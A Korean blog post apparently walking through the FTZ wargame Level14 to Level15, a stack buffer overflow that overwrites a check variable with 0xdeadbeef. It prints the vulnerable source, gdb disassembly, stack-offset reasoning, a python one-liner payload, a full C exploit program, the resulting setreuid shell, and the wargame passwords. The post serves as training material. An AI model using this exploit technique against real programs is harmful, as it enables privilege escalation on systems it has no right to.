■ Level14 -> Level15
■ 목적
루틴 분기 키값의 이해
루틴 분기 구문이 사용되는 예
소프트웨어를 설치할 때 시리얼 키(Serial Key)/라이센스 키(License Key) 입력 받는 부분
특정 값을 입력하면 프로그램이 실행이 되는 원리
(시디키 입력 -> 설치 진행)
(원하는 값 입력 -> 쉘 권한)
■ Level14 풀이
level14 사용자 로그인
-> ID/PASS : level14/what that nigga want?
$ cat hint
레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다. 버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이 최고의 효과를 가져다줍니다. #include <stdio.h> #include <unistd.h> main() { int crap; int check; char buf[20]; fgets(buf,45,stdin); if (check==0xdeadbeef) { setreuid(3095,3095); system("/bin/sh"); } } $ gdb -q attackme gdb) disas main Dump of assembler code for function main: 0x08048490 <main+0>: push %ebp 0x08048491 <main+1>: mov %esp,%ebp 0x08048493 <main+3>: sub $0x38,%esp /* 0x38 = (10진수) 56바이트 */ 0x08048496 <main+6>: sub $0x4,%esp 0x08048499 <main+9>: pushl 0x8049664 0x0804849f <main+15>: push $0x2d 0x080484a1 <main+17>: lea 0xffffffc8(%ebp),%eax 0x080484a4 <main+20>: push %eax 0x080484a5 <main+21>: call 0x8048360 <fgets> 0x080484aa <main+26>: add $0x10,%esp 0x080484ad <main+29>: cmpl $0xdeadbeef,0xfffffff0(%ebp) 0x080484b4 <main+36>: jne 0x80484db <main+75> 0x080484b6 <main+38>: sub $0x8,%esp 0x080484b9 <main+41>: push $0xc17 0x080484be <main+46>: push $0xc17 0x080484c3 <main+51>: call 0x8048380 <setreuid> 0x080484c8 <main+56>: add $0x10,%esp 0x080484cb <main+59>: sub $0xc,%esp 0x080484ce <main+62>: push $0x8048548 0x080484d3 <main+67>: call 0x8048340 <system> 0x080484d8 <main+72>: add $0x10,%esp 0x080484db <main+75>: leave 0x080484dc <main+76>: ret 0x080484dd <main+77>: lea 0x0(%esi),%esi End of assembler dump. (gdb) quit 위 소스와 디스어셈블러 를 분석한 결과 check 와 deadbeef를 비교하고 같으면 다음레벨 권한으로 쉘 획득 attackme 실행시 입력을 받으면 바로 종료 --> cat과 파이프를 이용한 명령어 사용 buf[20] , check[4] , crap[4] , fget최대 45byte check = deadbeef(쉘 권한) --> 쉘코드가 따로 필요 없다. --> 0xfffffff0 --> ebp에서 16 떨어진 공간 ebp 할당된 공간 ffffffc8[56] - deadbeef[16] = 40 +-------------16byte--------------+ + + ------------------------------------------------------------------------------+ buf[20] dummy[??] | check[4] + crap[4] + dymmy[??] | SFP[4] RET[4] | ------------------------------------------------------------------------------+ + + +--------------------------56byte------------------------+ + + +-------40byte--------+ buf + check + crap = 28 따라서 더미값은 56 - 28 = 28byte buf다음에 더미값만 찾으면 check에 도달할 수 있다. 0xffffffc8 와 check 사이에 40byte가 존재하고 buf가 20byte 때문에 buf와 check 사이에 20byte만큼 더미 값이 존재한다. ------------------------------------------------------------------------------+ buf[20] dummy[20] | check[4] + crap[4] + dymmy[8] | SFP[4] RET[4] | ------------------------------------------------------------------------------+ 결과적으로 check에 deadbeef 값을 입력하면 쉘을 얻는다. 40byte + deadbeef 값을 입력해주면 쉘을 획득할 수 있다. $ (python -c 'print "A"*40+"\xef\xbe\xad\xde"';cat) | ./attackme [참고] (gdb) x/16x $esp 스택은 4byte단위로 이루어져 있으며, 16개를 출력하라는 명령이다. 16 * 4 로 64byte를 볼 수 있다.(4byte단위) 덮어쓰기 위해 56+4+4로 64byte를 보기위해서 x/16x $esp를 사용한다. ■ 변수 할당 공간을 확인하는 예제 $ vi distance.c (# cat ../hint > distance.c ; vi distance.c #include <unistd.h> main() { int crap; int check; char buf[20]; fgets(buf,45,stdin); if (check==0xdeadbeef) { setreuid(3095,3095); system("/bin/sh"); } printf("Input is : %s\n &buf : %p\n &check: %p\n &crap : &p\n", buf, buf, &check, &crap); } $ gcc -o distance distance.c $ ./distance &buf : 0xbfffef20 ■ Exploit code(공격용 코드) #include <stdlib.h> #define NOP 0x90 #define BUFSIZE 44 /* NOP(40) + check(0xdeadbeef)(4) */ /* check 변수에 입력할 값 */ char writecode[] = "\xef\xbe\xad\xde"; int main() { char shellBuf[BUFSIZE], cmdBuf[320]; int i, j, shellLen; shellLen = strlen(writecode); /* buf에 40바이트의 NOP 썰매를 할당 */ for(i=0; i<sizeof(shellBuf)-shellLen; i++) shellBuf[i] = NOP; /* check 변수에 조건 값 입력 */ for(j=0; j<shellLen; j++) shellBuf[i++] = writecode[j]; /* 공격 명령어 생성 */ sprintf(cmdBuf, "(perl -e \'print \""); strcat(cmdBuf, shellBuf); strcat(cmdBuf, "\"\';cat) | /home/level14/attackme"); strcat(cmdBuf, "\x0a"); system(cmdBuf); }
uid=3095(level15) gid=3094(level14) groups=3094(level14)
whoami
level15
56bytes의 지역변수를 저장하였고 4byte의 SFP값과 4byte의 RET값을 가지고 있으므로 RET값을
Input is : AAAA
&buf : 0xbfffef20
&check : 0xbfffef48
&crap : 0xbfffef4c
&check : 0xbfffef48 - &buf : 0xbfffef20 = 0x00000028 = 40bytes
&crap : 0xbfffef4c - &check : 0xbfffef48 = 0x00000004 = 4bytes
$ gcc -o Attack_attackme Attack_attackme.c
$ ./Attack_attackme
id
uid3095 gid=3094 groups=3094
my-pass
level15 password "guess what".
exit
'Learning > └◆Reversing' 카테고리의 다른 글
reverse engineering / assembly language / computer structure (0) | 2017.02.01 |
---|---|
15_Level15 -> Level16[FTZ] 루틴 분기 키값의 이해 2 (0) | 2017.01.30 |
13_Level13 -> Level14[FTZ] 스택가드(스택 쉴드) 알아보기 (0) | 2017.01.30 |
12_Level12 -> Level13[FTZ] gets함수의 취약점(Stack Buffer Overflow) (0) | 2017.01.30 |